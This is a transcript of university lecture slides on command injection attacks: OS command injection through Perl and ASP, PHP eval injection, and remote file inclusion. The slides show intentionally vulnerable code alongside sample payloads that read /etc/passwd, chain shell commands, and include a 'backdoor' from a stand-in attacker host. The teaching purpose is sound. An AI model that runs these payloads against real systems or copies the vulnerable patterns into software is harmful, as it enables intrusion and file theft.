Presentation on theme: "Software Security Lecture 4 Fang Yu Dept. of MIS, National Chengchi University Spring 2011."— Presentation transcript:
Software Security Lecture 4 Fang Yu Dept. of MIS, National Chengchi University Spring 2011
Outline Today we will have Adam presenting how to attack authentications (Ch6) Before his presentation, I will continue Command Injections (Ch9), and also I will present my recent research on how to prevent and remove injection vulnerabilities The rest of your presentations have been scheduled. Please check the course web page and plan ahead. Let me know if you have any question. The course website :
Injecting Code II Chapter 9 The Web Application Hacker’s Handbook
Interpreted Languages Recall that an interpreted language is one whose execution involved a runtime component that interprets the code of the language and carries out the instructions that it contains For example, SQL, Perl, ASP, PHP, etc.
Interpreted Languages In most applications, the code processed by the interpreter is a mix of instructions written by a programmer and data supplied by a user. An attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special significance within the grammar of the interpreted language.
Command Injection Attacks Main problem: Incorrect or completely lack of validation of user input that results in the execution of commands on the server We have discussed SQL injections last week. Today we will discuss OS command, Web scripting language, SOAP and SMTP injection attacks.
OS command: Injecting via Perl Consider a Perl CGI Code that allows administrators to specify a directory and view a summary of its disk usages #!/usr/bin/perl use strict; use CGI qw(:standard escapeHTML); print header, start_html(“”); print “ ”; my $command = “du -h --exclude php* /var/www/html”; $command= $command.param(“dir”); $command=`$command`; print “$command\n”; print end_html;
When used as intended:
Injecting via Perl “|” is used to redirect the output of a process to the input of another process This enables multiple commands to be chained together
Inject code: (cat /etc/passwd)
OS Command: Injecting via ASP Consider an ASP code that allows administrators to view the contents of a requested log file type the log file cmd executes the command <% Set oScript = Server.CreateObject(“WSCRIPT.SHELL”) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”) szCMD = “type c:\inetpub\wwwroot\logs\“ & Request.Form(“FileName”) szTempFile = “C:\“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %>
When used as intended: (submit last5.log)
Use && to batch multiple commands together Last5.log && dir c:\
Dynamic Execution Vulnerabilities The PHP function eval() is used to dynamically execute code that is passed to the function at runtime Consider a search function that enables users to create stored searches: The server side implementation: creating a mysearch variable with the value wahh https://wahh- app.com/search.php?storedsearch=\$myse arch%3dwahh $storedsearch = $_GET[‘storedsearch’]; eval(“$storedsearch;”);
Dynamic execution in PHP The semicolon character can be used to batch commands together in a single parameter. For example, to retrieve the contents of the file /etc/password, you could use either the file_get_contentsor the system command: https://wahh- app.com/search.php?storedsearch=\$mysearch%3 dwahh; %20echo%20file_get_contents(‘/etc/passwd’) https://wahh- app.com/search.php?storedsearch=\$mysearch%3 dwahh; %20system(‘cat%20/etc/passwd’)
File Inclusion Attacks Consider an application that delivers different content to people in different locations A request looks like: The application processes as follows: https://wahh-app.com/main.php?Country=US $country = $_GET[‘Country’]; include( $country. ‘.php’ );
File Inclusion Attacks If the request has been intercepted: The sever side may include an arbitrary remote file https://wahh- app.com/main.php?Country=http://wahh- attacker.com/backdoor $country = $_GET[‘Country’]; include(http://wahh-attacker.com/backdoor.‘.php’ );
Quiz What’s the main cause of injection vulnerabilities? How to prevent injection vulnerabilities? Let’s talk a little bit about Stranger
Next week We will have Juilette presenting Attacking Session Management (Chapter 7), Jorina presenting Attacking Access Controls (Chapter 8) We will also have Hsing Hunag presenting Burp Suite, a tool set for analyzing and attacking web applications